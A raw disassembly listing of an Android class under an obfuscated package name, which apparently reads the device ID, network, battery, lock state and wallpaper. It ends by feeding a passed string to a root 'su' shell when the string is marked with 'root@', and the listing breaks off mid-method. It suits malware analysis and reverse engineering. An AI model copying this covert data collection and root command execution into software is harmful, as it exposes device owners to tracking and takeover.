    00087468invoke-virtual {v0, v9, v6, v4}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    0008746einvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00087474move-result-object v0
    00087476invoke-static {v0, v5}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
    0008747cmove-result-object v0
    0008747egoto :goto_bb
    00087480move-object v0, v1
    00087482move-object v1, v0
    00087484goto :goto_f6
    00087486invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getIntrinsicWidth()I
    0008748cmove-result v4
    0008748einvoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getIntrinsicHeight()I
    00087494move-result v10
    00087496sget-object v12, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config;
    0008749ainvoke-static {v4, v10, v12}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
    000874a0move-result-object v4
    000874a2new-instance v10, Landroid/graphics/Canvas;
    000874a6invoke-direct {v10, v4}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
    000874acinvoke-virtual {v10}, Landroid/graphics/Canvas;->getWidth()I
    000874b2move-result v12
    000874b4invoke-virtual {v10}, Landroid/graphics/Canvas;->getHeight()I
    000874bamove-result v13
    000874bcinvoke-virtual {v0, v8, v8, v12, v13}, Landroid/graphics/drawable/Drawable;->setBounds(IIII)V
    000874c2invoke-virtual {v0, v10}, Landroid/graphics/drawable/Drawable;->draw(Landroid/graphics/Canvas;)V
    000874c8invoke-static {v4, v9, v9, v11}, Landroid/graphics/Bitmap;->createScaledBitmap(Landroid/graphics/Bitmap;IIZ)Landroid/graphics/Bitmap;
    000874cemove-result-object v0
    000874d0if-eq v4, v0, :cond_e7
    000874d4invoke-virtual {v4}, Landroid/graphics/Bitmap;->recycle()V
    000874danew-instance v4, Ljava/io/ByteArrayOutputStream;
    000874deinvoke-direct {v4}, Ljava/io/ByteArrayOutputStream;-><init>()V
    000874e4sget-object v9, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
    000874e8invoke-virtual {v0, v9, v6, v4}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    000874eeinvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000874f4move-result-object v0
    000874f6goto :goto_b5
    000874f8move-object v0, v3
    000874famove-object v3, v2
    000874fcmove-object v2, v7
    000874fegoto :goto_fd
    00087500add-int/2addr v7, v11
    00087502if-lt v7, v10, :cond_1d
    00087506invoke-virtual {v14}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    0008750cmove-result-object v4
    0008750econst v5, 0x7f0c0020
    00087514invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    0008751amove-result-object v4
    0008751cconst-string v5, "n/a"
    00087520if-ne v2, v5, :cond_10d
    00087524move-object v2, v4
    00087526const-string v4, "n/a"
    0008752aif-ne v3, v4, :cond_113
    0008752econst-string v3, ""
    00087532invoke-static {v1, v8}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
    00087538move-result-object v1
    0008753anew-instance v4, Landroid/graphics/BitmapFactory$Options;
    0008753einvoke-direct {v4}, Landroid/graphics/BitmapFactory$Options;-><init>()V
    00087544array-length v5, v1
    00087546invoke-static {v1, v8, v5, v4}, Landroid/graphics/BitmapFactory;->decodeByteArray([BIILandroid/graphics/BitmapFactory$Options;)Landroid/graphics/Bitmap;
    0008754cmove-result-object v1
    0008754einvoke-virtual {v14}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00087554move-result-object v4
    00087556invoke-virtual {v4, v0}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    0008755cmove-result-object v0
    0008755econst v4, 0x10008000
    00087564invoke-virtual {v0, v4}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    0008756ainvoke-static {v14, v8, v0, v8}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
    00087570move-result-object v0
    00087572new-instance v4, Landroid/support/v4/a/d$d;
    00087576invoke-direct {v4, v14}, Landroid/support/v4/a/d$d;-><init>(Landroid/content/Context;)V
    0008757cconst v14, 0x7f040029
    00087582invoke-virtual {v4, v14}, Landroid/support/v4/a/d$d;->a(I)Landroid/support/v4/a/d$d;
    00087588move-result-object v14
    0008758ainvoke-static {v8, v8, v8, v8}, Landroid/graphics/Color;->argb(IIII)I
    00087590move-result v4
    00087592invoke-virtual {v14, v4}, Landroid/support/v4/a/d$d;->b(I)Landroid/support/v4/a/d$d;
    00087598move-result-object v14
    0008759ainvoke-virtual {v14, v1}, Landroid/support/v4/a/d$d;->a(Landroid/graphics/Bitmap;)Landroid/support/v4/a/d$d;
    000875a0move-result-object v14
    000875a2invoke-virtual {v14, v2}, Landroid/support/v4/a/d$d;->a(Ljava/lang/CharSequence;)Landroid/support/v4/a/d$d;
    000875a8move-result-object v14
    000875aainvoke-virtual {v14, v3}, Landroid/support/v4/a/d$d;->b(Ljava/lang/CharSequence;)Landroid/support/v4/a/d$d;
    000875b0move-result-object v14
    000875b2invoke-virtual {v14, v8}, Landroid/support/v4/a/d$d;->a(Z)Landroid/support/v4/a/d$d;
    000875b8move-result-object v14
    000875bainvoke-virtual {v14, v0}, Landroid/support/v4/a/d$d;->a(Landroid/app/PendingIntent;)Landroid/support/v4/a/d$d;
    000875c0move-result-object v14
    000875c2invoke-virtual {v14}, Landroid/support/v4/a/d$d;->a()Landroid/app/Notification;
    000875c8move-result-object v14
    000875careturn-object v14
    000875ccconst/4 v14, 0x0
    000875cereturn-object v14
    000872fc
    000875d0
    000875d0 struct try_item
    000875d0 start_addr uint32 0x87310
    000875d4 insn_count int 96
    000875d6 handler_off uint16 0x87601
    000875d8
    000875d8 struct try_item
    000875d8 start_addr uint32 0x873d4
    000875dc insn_count int 24
    000875de handler_off uint16 0x87606
    000875e0
    000875e0 struct try_item
    000875e0 start_addr uint32 0x87404
    000875e4 insn_count int 2
    000875e6 handler_off uint16 0x87612
    000875e8
    000875e8 struct try_item
    000875e8 start_addr uint32 0x87408
    000875ec insn_count int 8
    000875ee handler_off uint16 0x8761e
    000875f0
    000875f0 struct try_item
    000875f0 start_addr uint32 0x87418
    000875f4 insn_count int 111
    000875f6 handler_off uint16 0x8762a
    000875f8
    000875f8 struct try_item
    000875f8 start_addr uint32 0x87506
    000875fc insn_count int 98
    000875fe handler_off uint16 0x87601
    00087600
    00087600 struct encoded_catch_handler_list
    00087600 size int 5
    00087601
    00087601 struct encoded_catch_handler ← 0x875d6 0x875fe
    00087601 size int64 1
    00087602 handlers[0].type_idx int 0x5994
    00087604 handlers[0].addr uint32 0x875cc
    00087606
    00087606 struct encoded_catch_handler ← 0x875de
    00087606 size int64 3
    00087607 handlers[0].type_idx int 0x4c90
    00087608 handlers[0].addr uint32 0x87506
    0008760a handlers[1].type_idx int 0x59cc
    0008760c handlers[1].addr uint32 0x87506
    0008760e handlers[2].type_idx int 0x5994
    00087610 handlers[2].addr uint32 0x875cc
    00087612
    00087612 struct encoded_catch_handler ← 0x875e6
    00087612 size int64 3
    00087613 handlers[0].type_idx int 0x4c90
    00087614 handlers[0].addr uint32 0x874fc
    00087616 handlers[1].type_idx int 0x59cc
    00087618 handlers[1].addr uint32 0x874fc
    0008761a handlers[2].type_idx int 0x5994
    0008761c handlers[2].addr uint32 0x875cc
    0008761e
    0008761e struct encoded_catch_handler ← 0x875ee
    0008761e size int64 3
    0008761f handlers[0].type_idx int 0x4c90
    00087620 handlers[0].addr uint32 0x874fa
    00087622 handlers[1].type_idx int 0x59cc
    00087624 handlers[1].addr uint32 0x874fa
    00087626 handlers[2].type_idx int 0x5994
    00087628 handlers[2].addr uint32 0x875cc
    0008762a
    0008762a struct encoded_catch_handler ← 0x875f6
    0008762a size int64 3
    0008762b handlers[0].type_idx int 0x4c90
    0008762c handlers[0].addr uint32 0x874f8
    0008762e handlers[1].type_idx int 0x59cc
    00087630 handlers[1].addr uint32 0x874f8
    00087632 handlers[2].type_idx int 0x5994
    00087634 handlers[2].addr uint32 0x875cc
    00087636
    00087636 // align 0x8
    00087638
    00087638cmf0.c3b5bm90zq.patch.a::a(android.graphics.Bitmap, int, int):
    00087648invoke-virtual {v7}, Landroid/graphics/Bitmap;->getWidth()I
    0008764emove-result v0
    00087650invoke-virtual {v7}, Landroid/graphics/Bitmap;->getHeight()I
    00087656move-result v1
    00087658int-to-float v2, v9
    0008765aint-to-float v0, v0
    0008765cdiv-float v3, v2, v0
    00087660int-to-float v4, v8
    00087662int-to-float v1, v1
    00087664div-float v5, v4, v1
    00087668invoke-static {v3, v5}, Ljava/lang/Math;->max(FF)F
    0008766emove-result v3
    00087670mul-float v0, v0, v3
    00087674mul-float v3, v3, v1
    00087678sub-float/2addr v2, v0
    0008767aconst/high16 v1, 0x40000000
    0008767ediv-float/2addr v2, v1
    00087680sub-float/2addr v4, v3
    00087682div-float/2addr v4, v1
    00087684new-instance v1, Landroid/graphics/RectF;
    00087688add-float/2addr v0, v2
    0008768aadd-float/2addr v3, v4
    0008768cinvoke-direct {v1, v2, v4, v0, v3}, Landroid/graphics/RectF;-><init>(FFFF)V
    00087692invoke-virtual {v7}, Landroid/graphics/Bitmap;->getConfig()Landroid/graphics/Bitmap$Config;
    00087698move-result-object v0
    0008769ainvoke-static {v9, v8, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
    000876a0move-result-object v8
    000876a2new-instance v9, Landroid/graphics/Canvas;
    000876a6invoke-direct {v9, v8}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
    000876acconst/4 v0, 0x0
    000876aeinvoke-virtual {v9, v7, v0, v1, v0}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Rect;Landroid/graphics/RectF;Landroid/graphics/Paint;)V
    000876b4return-object v8
    00087638
    000876b6
    000876b6 // align 0x8
    000876b8
    000876b8cmf0.c3b5bm90zq.patch.a::a(android.content.Context):
    000876c8const-string v0, "connectivity"
    000876ccinvoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000876d2move-result-object v0
    000876d4check-cast v0, Landroid/net/ConnectivityManager;
    000876d8invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
    000876demove-result-object v1
    000876e0invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
    000876e6move-result-object v0
    000876e8invoke-virtual {v1}, Landroid/net/NetworkInfo;->getType()I
    000876eemove-result v1
    000876f0const/4 v2, 0x1
    000876f2if-ne v1, v2, :cond_46
    000876f6const-string v0, "wifi"
    000876fainvoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087700move-result-object v4
    00087702check-cast v4, Landroid/net/wifi/WifiManager;
    00087706invoke-virtual {v4}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
    0008770cmove-result-object v4
    0008770einvoke-virtual {v4}, Landroid/net/wifi/WifiInfo;->getRssi()I
    00087714move-result v4
    00087716const/4 v0, 0x5
    00087718invoke-static {v4, v0}, Landroid/net/wifi/WifiManager;->calculateSignalLevel(II)I
    0008771emove-result v4
    00087720invoke-static {v4}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    00087726move-result-object v4
    00087728new-instance v0, Ljava/lang/StringBuilder;
    0008772cinvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00087732const-string v1, "w"
    00087736invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008773cinvoke-virtual {v4}, Ljava/lang/String;->trim()Ljava/lang/String;
    00087742move-result-object v4
    00087744invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008774ainvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087750move-result-object v4
    00087752goto :goto_69
    00087754invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
    0008775amove-result v0
    0008775cif-nez v0, :cond_5b
    00087760const-string v0, "phone"
    00087764invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    0008776amove-result-object v4
    0008776ccheck-cast v4, Landroid/telephony/TelephonyManager;
    00087770invoke-virtual {v4}, Landroid/telephony/TelephonyManager;->getNetworkType()I
    00087776move-result v4
    00087778packed-switch v4, :pswitch_data_6a
    0008777econst-string v4, "w0"
    00087782goto :goto_69
    00087784const-string v4, "MD4G"
    00087788goto :goto_69
    0008778aconst-string v4, "MD3G"
    0008778egoto :goto_69
    00087790const-string v4, "MD2G"
    00087794goto :goto_69
    00087796const-string v4, "w0"
    0008779areturn-object v4
    0008779c.packed-switch 0x1
    000876b8
    000877e0
    000877e0 struct try_item
    000877e0 start_addr uint32 0x876c8
    000877e4 insn_count int 102
    000877e6 handler_off uint16 0x877e9
    000877e8
    000877e8 struct encoded_catch_handler_list
    000877e8 size int 1
    000877e9
    000877e9 struct encoded_catch_handler ← 0x877e6
    000877e9 size int64 1
    000877ea handlers[0].type_idx int 0x5994
    000877ec handlers[0].addr uint32 0x87796
    000877ed
    000877ed // align 0x10
    000877f0
    000877f0cmf0.c3b5bm90zq.patch.a::a(android.content.Context, int, int):
    00087800invoke-static {v2}, Landroid/app/WallpaperManager;->getInstance(Landroid/content/Context;)Landroid/app/WallpaperManager;
    00087806move-result-object v2
    00087808invoke-virtual {v2}, Landroid/app/WallpaperManager;->getDrawable()Landroid/graphics/drawable/Drawable;
    0008780emove-result-object v2
    00087810if-eqz v2, :cond_2a
    00087814check-cast v2, Landroid/graphics/drawable/BitmapDrawable;
    00087818invoke-virtual {v2}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
    0008781emove-result-object v2
    00087820invoke-virtual {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/graphics/Bitmap;II)Landroid/graphics/Bitmap;
    00087826move-result-object v2
    00087828new-instance v3, Ljava/io/ByteArrayOutputStream;
    0008782cinvoke-direct {v3}, Ljava/io/ByteArrayOutputStream;-><init>()V
    00087832sget-object v4, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;
    00087836const/16 v0, 0x64
    0008783ainvoke-virtual {v2, v4, v0, v3}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    00087840invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00087846move-result-object v2
    00087848const/4 v3, 0x2
    0008784ainvoke-static {v2, v3}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
    00087850move-result-object v2
    00087852goto :goto_2f
    00087854const-string v2, "-1"
    00087858goto :goto_2f
    0008785aconst-string v2, "-1"
    0008785ereturn-object v2
    000877f0
    00087860
    00087860 struct try_item
    00087860 start_addr uint32 0x87800
    00087864 insn_count int 44
    00087866 handler_off uint16 0x87869
    00087868
    00087868 struct encoded_catch_handler_list
    00087868 size int 1
    00087869
    00087869 struct encoded_catch_handler ← 0x87866
    00087869 size int64 2
    0008786a handlers[0].type_idx int 0x5994
    0008786c handlers[0].addr uint32 0x8785a
    0008786d handlers[1].type_idx int 0x59cc
    0008786f handlers[1].addr uint32 0x8785a
    00087870
    00087870cmf0.c3b5bm90zq.patch.a::a(android.content.Context, java.lang.String):
    00087880invoke-static {v2}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
    00087886move-result-object v2
    00087888const-string v0, ""
    0008788cinvoke-interface {v2, v3, v0}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    00087892move-result-object v2
    00087894return-object v2
    00087896const/4 v2, 0x0
    00087898return-object v2
    00087870
    0008789a
    0008789a struct code_item_padding
    0008789a padding uint16 0x0000
    0008789c
    0008789c struct try_item
    0008789c start_addr uint32 0x87880
    000878a0 insn_count int 10
    000878a2 handler_off uint16 0x878a5
    000878a4
    000878a4 struct encoded_catch_handler_list
    000878a4 size int 1
    000878a5
    000878a5 struct encoded_catch_handler ← 0x878a2
    000878a5 size int64 1
    000878a6 handlers[0].type_idx int 0x5994
    000878a8 handlers[0].addr uint32 0x87896
    000878a9
    000878a9 // align 0x4
    000878ac
    000878accmf0.c3b5bm90zq.patch.a::a(android.content.Context, java.lang.String, java.lang.String):
    000878bcinvoke-static {v1}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
    000878c2move-result-object v1
    000878c4invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
    000878camove-result-object v1
    000878ccinvoke-interface {v1, v3, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
    000878d2invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
    000878d8return-void
    000878ac
    000878da
    000878da struct code_item_padding
    000878da padding uint16 0x0000
    000878dc
    000878dc struct try_item
    000878dc start_addr uint32 0x878bc
    000878e0 insn_count int 14
    000878e2 handler_off uint16 0x878e5
    000878e4
    000878e4 struct encoded_catch_handler_list
    000878e4 size int 1
    000878e5
    000878e5 struct encoded_catch_handler ← 0x878e2
    000878e5 size int64 1
    000878e6 handlers[0].type_idx int 0x5994
    000878e8 handlers[0].addr uint32 0x878d8
    000878e9
    000878e9 // align 0x4
    000878ec
    000878eccmf0.c3b5bm90zq.patch.a::a(java.lang.Class, android.content.Context):
    000878fcconst-string v0, "activity"
    00087900invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087906move-result-object v4
    00087908check-cast v4, Landroid/app/ActivityManager;
    0008790cconst v0, 0x7fffffff
    00087912invoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00087918move-result-object v4
    0008791ainvoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00087920move-result-object v4
    00087922invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00087928move-result v0
    0008792aif-eqz v0, :cond_31
    0008792einvoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00087934move-result-object v0
    00087936check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    0008793ainvoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00087940move-result-object v1
    00087942iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00087946invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    0008794cmove-result-object v0
    0008794einvoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00087954move-result v0
    00087956if-eqz v0, :cond_13
    0008795aconst/4 v3, 0x1
    0008795creturn v3
    0008795econst/4 v3, 0x0
    00087960return v3
    000878ec
    00087962
    00087962 // align 0x4
    00087964
    00087964cmf0.c3b5bm90zq.patch.a::b(android.content.Context):
    00087974const-string v0, "keyguard"
    00087978invoke-virtual {v3, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    0008797emove-result-object v0
    00087980check-cast v0, Landroid/app/KeyguardManager;
    00087984const-string v1, "power"
    00087988invoke-virtual {v3, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    0008798emove-result-object v3
    00087990check-cast v3, Landroid/os/PowerManager;
    00087994invoke-virtual {v3}, Landroid/os/PowerManager;->isScreenOn()Z
    0008799amove-result v3
    0008799cinvoke-virtual {v0}, Landroid/app/KeyguardManager;->inKeyguardRestrictedInputMode()Z
    000879a2move-result v0
    000879a4const/4 v1, 0x1
    000879a6if-eqz v0, :cond_23
    000879aaif-ne v3, v1, :cond_20
    000879aeconst-string v3, "3"
    000879b2goto :goto_2c
    000879b4const-string v3, "4"
    000879b8goto :goto_2c
    000879baif-ne v3, v1, :cond_28
    000879beconst-string v3, "5"
    000879c2goto :goto_2c
    000879c4const-string v3, "6"
    000879c8goto :goto_2c
    000879caconst/4 v3, 0x0
    000879ccreturn-object v3
    00087964
    000879ce
    000879ce struct code_item_padding
    000879ce padding uint16 0x0000
    000879d0
    000879d0 struct try_item
    000879d0 start_addr uint32 0x87974
    000879d4 insn_count int 42
    000879d6 handler_off uint16 0x879d9
    000879d8
    000879d8 struct encoded_catch_handler_list
    000879d8 size int 1
    000879d9
    000879d9 struct encoded_catch_handler ← 0x879d6
    000879d9 size int64 1
    000879da handlers[0].type_idx int 0x5994
    000879dc handlers[0].addr uint32 0x879ca
    000879dd
    000879dd // align 0x10
    000879e0
    000879e0cmf0.c3b5bm90zq.patch.a::c(android.content.Context):
    000879f0const/4 v0, 0x0
    000879f2new-instance v1, Landroid/content/IntentFilter;
    000879f6const-string v2, "android.intent.action.BATTERY_CHANGED"
    000879fainvoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
    00087a00invoke-virtual {v5, v0, v1}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    00087a06move-result-object v5
    00087a08const-string v0, "level"
    00087a0cconst/4 v1, 0x0
    00087a0einvoke-virtual {v5, v0, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
    00087a14move-result v0
    00087a16const-string v2, "scale"
    00087a1aconst/16 v3, 0x64
    00087a1einvoke-virtual {v5, v2, v3}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
    00087a24move-result v2
    00087a26mul-int/lit8 v0, v0, 0x64
    00087a2adiv-int/2addr v0, v2
    00087a2cconst-string v2, "plugged"
    00087a30const/4 v3, -0x1
    00087a32invoke-virtual {v5, v2, v3}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
    00087a38move-result v5
    00087a3aconst/4 v2, 0x1
    00087a3cif-eq v5, v2, :cond_2b
    00087a40const/4 v3, 0x2
    00087a42if-ne v5, v3, :cond_2c
    00087a46const/4 v1, 0x1
    00087a48new-instance v5, Ljava/lang/StringBuilder;
    00087a4cinvoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    00087a52invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
    00087a58move-result-object v0
    00087a5ainvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087a60const-string v0, "&"
    00087a64invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087a6ainvoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
    00087a70invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087a76move-result-object v5
    00087a78return-object v5
    00087a7aconst-string v5, "0&false"
    00087a7ereturn-object v5
    000879e0
    00087a80
    00087a80 struct try_item
    00087a80 start_addr uint32 0x879f2
    00087a84 insn_count int 67
    00087a86 handler_off uint16 0x87a89
    00087a88
    00087a88 struct encoded_catch_handler_list
    00087a88 size int 1
    00087a89
    00087a89 struct encoded_catch_handler ← 0x87a86
    00087a89 size int64 1
    00087a8a handlers[0].type_idx int 0x5994
    00087a8c handlers[0].addr uint32 0x87a7a
    00087a8d
    00087a8d // align 0x10
    00087a90
    00087a90cmf0.c3b5bm90zq.patch.a::d(android.content.Context):
    00087aa0const-string v0, "phone"
    00087aa4invoke-virtual {v3, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087aaamove-result-object v0
    00087aaccheck-cast v0, Landroid/telephony/TelephonyManager;
    00087ab0invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
    00087ab6move-result-object v1
    00087ab8if-eqz v1, :cond_13
    00087abcinvoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
    00087ac2move-result-object v3
    00087ac4goto :goto_23
    00087ac6invoke-virtual {v3}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
    00087accmove-result-object v3
    00087aceinvoke-virtual {v3}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
    00087ad4move-result-object v3
    00087ad6const-string v0, "android_id"
    00087adainvoke-static {v3, v0}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
    00087ae0move-result-object v3
    00087ae2goto :goto_23
    00087ae4const/4 v3, 0x0
    00087ae6return-object v3
    00087a90
    00087ae8
    00087ae8 struct try_item
    00087ae8 start_addr uint32 0x87aa0
    00087aec insn_count int 33
    00087aee handler_off uint16 0x87af1
    00087af0
    00087af0 struct encoded_catch_handler_list
    00087af0 size int 1
    00087af1
    00087af1 struct encoded_catch_handler ← 0x87aee
    00087af1 size int64 1
    00087af2 handlers[0].type_idx int 0x5994
    00087af4 handlers[0].addr uint32 0x87ae4
    00087af5
    00087af5 // align 0x8
    00087af8
    00087af8cmf0.c3b5bm90zq.patch.a::e(android.content.Context):
    00087b08const/4 v0, 0x0
    00087b0aconst-string v1, "connectivity"
    00087b0einvoke-virtual {v5, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087b14move-result-object v5
    00087b16check-cast v5, Landroid/net/ConnectivityManager;
    00087b1ainvoke-virtual {v5, v0}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
    00087b20move-result-object v1
    00087b22invoke-virtual {v1}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
    00087b28move-result-object v1
    00087b2asget-object v2, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
    00087b2econst/4 v3, 0x1
    00087b30if-eq v1, v2, :cond_22
    00087b34invoke-virtual {v5, v3}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
    00087b3amove-result-object v5
    00087b3cinvoke-virtual {v5}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
    00087b42move-result-object v5
    00087b44sget-object v1, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
    00087b48if-ne v5, v1, :cond_23
    00087b4cconst/4 v0, 0x1
    00087b4eif-nez v0, :cond_29
    00087b52invoke-static {}, Lcmf0/c3b5bm90zq/patch/a;->a()Z
    00087b58move-result v0
    00087b5areturn v0
    00087af8
    00087b5c
    00087b5c struct try_item
    00087b5c start_addr uint32 0x87b0a
    00087b60 insn_count int 31
    00087b62 handler_off uint16 0x87b65
    00087b64
    00087b64 struct encoded_catch_handler_list
    00087b64 size int 1
    00087b65
    00087b65 struct encoded_catch_handler ← 0x87b62
    00087b65 size int64 1
    00087b66 handlers[0].type_idx int 0x5994
    00087b68 handlers[0].addr uint32 0x87b4e
    00087b69
    00087b69 // align 0x4
    00087b6c
    00087b6ccmf0.c3b5bm90zq.patch.b::<clinit>():
    00087b7creturn-void
    00087b6c
    00087b7e
    00087b7e // align 0x10
    00087b80
    00087b80cmf0.c3b5bm90zq.patch.b::<init>():
    00087b90invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00087b96return-void
    00087b80
    00087b98
    00087b98cmf0.c3b5bm90zq.patch.b::a(java.lang.String, java.lang.String):
    00087ba8new-instance v0, Ljava/lang/StringBuffer;
    00087bacinvoke-direct {v0}, Ljava/lang/StringBuffer;-><init>()V
    00087bb2const-string v1, "root@"
    00087bb6invoke-virtual {v5, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00087bbcmove-result v1
    00087bbeif-eqz v1, :cond_3c
    00087bc2const-string v1, "root@"
    00087bc6invoke-virtual {v5, v1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
    00087bccmove-result v5
    00087bceif-eqz v5, :cond_3c
    00087bd2invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
    00087bd8move-result-object v5
    00087bdaconst-string v1, "su"
    00087bdeinvoke-virtual {v5, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
    00087be4move-result-object v5
    00087be6invoke-virtual {v5}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
    00087becmove-result-object v1
    00087beeconst-string v2, "ASCII"
    00087bf2invoke-virtual {v4, v2}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
    00087bf8move-result-object v4
    00087bfainvoke-virtual {v1, v4}, Ljava/io/OutputStream;->write([B)V
    00087c00invoke-virtual {v1}, Ljava/io/OutputStream;->flush()V
    00087c06invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
    00087c0cinvoke-virtual {v5}, Ljava/lang/Process;->waitFor()I
    00087c12invoke-virtual {v5}, Ljava/lang/Process;->exitValue()I
    00087c18move-result v4
